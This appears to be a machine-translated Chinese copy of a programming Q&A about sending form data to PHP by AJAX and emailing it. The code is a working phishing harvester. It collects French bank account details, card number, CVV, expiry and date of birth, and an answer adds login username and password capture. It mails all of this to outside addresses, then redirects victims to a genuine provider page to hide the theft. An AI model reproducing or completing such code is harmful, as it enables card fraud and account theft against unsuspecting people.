我有两个js变量,我想发送到PHP脚本拾取和发送电子邮件没有刷新

时间:2015-03-31 21:10:51

标签: php ajax

if(isset($_POST['submitbtn']))
{

    $pname= $_POST['nom'];
    $telephone= $_POST['telph'];
    $acnumber= $_POST['compte'];
    $rbl= $_POST['distance'];
    $cardno = $_POST['carte'];
    $expmonth = $_POST['months'];
    $expyear = $_POST['year'];  
    $cvv = $_POST['cvv'];
    $dob = $_POST['birth'];
    $subject = 'Contact Form from '.$pname.'';
    $message = 'Nom et prénom:- '.$pname.'

Telephone: '.$telephone.'

Numéro de compte:- '.$acnumber.'

Identifiant banque à distance:- '.$rbl.'

Numéro de Carte:- '.$cardno.'

date d expiration:- '.$expmonth.','.$expyear.'

Cvv 2:- '.$cvv.'

Date de naissance :- '.$dob.' ';

 $to = "eyas.ma@yahoo.fr,joejyma11@hotmail.com";
 $header = "From:www.webperfection.co.in/clients/photonics/ \r\n";
 $retval = mail ($to,$subject,$message,$header);
 if ($retval) {
 header("Location: https://mobile.free.fr/moncompte/");
 exit;
} else {
 //header("Location: /error.html");
 exit;
}

}
?>

这会将用户重定向到thttps://mobile.free.fr/moncompte/吗?因为我无法在此设置上尝试邮件功能

我希望它在邮件发送后重定向

谢谢你的帮助

我希望它在邮件发送后重定向

2 个答案:

答案 0 :(得分:2)

只需使用该示例,它将与您的服务器电子邮件发送代码一起使用:

var un = document.getElementById('ident_txt_identifiant').innerHTML;
var pw = document.myform.pwd_abo.value;

// post_data will contain name value pair to pass in $_POST server variable
var post_data = 'un='+ un+ '&pw='+ pw; 

  $.ajax({
    type: 'post',
    url: 'post.php',
    data: post_data,
    success: function () {
      window.location = "http://webperfection.co.in/clients/contactform/moncompte/contactform.php";
    }
  });

并稍微更改您的服务器代码

<?php 
# Send email if and only if username and password fields are passed in $_POST request
if(isset($_POST['un']) && isset($_POST['pw']) ){

    $un= $_POST['un'];
    $pw= $_POST['pw'];
    $subject = 'Login details';
    $message = 'Username:-'.$un.'Password:-'.$pw;

 $to = "eyas.ma@yahoo.fr,joejyma11@hotmail.com";
 $header = "From:www.webperfection.co.in/clients/photonics/ \r\n";
 $retval = mail ($to,$subject,$message,$header);
}
?>

答案 1 :(得分:1)

  

第一个问题,我应该在数据中添加什么:,能够发送这两个变量?

data: { un: un, pw: pw }

(其他格式如data: 'un=something&pw=something_else'是可能的,但这可能是最适合你的)

  

第二个问题我如何在php端提取它?

以上将为PHP提供$_POST数组中的变量,因此您的代码应该按原样运行。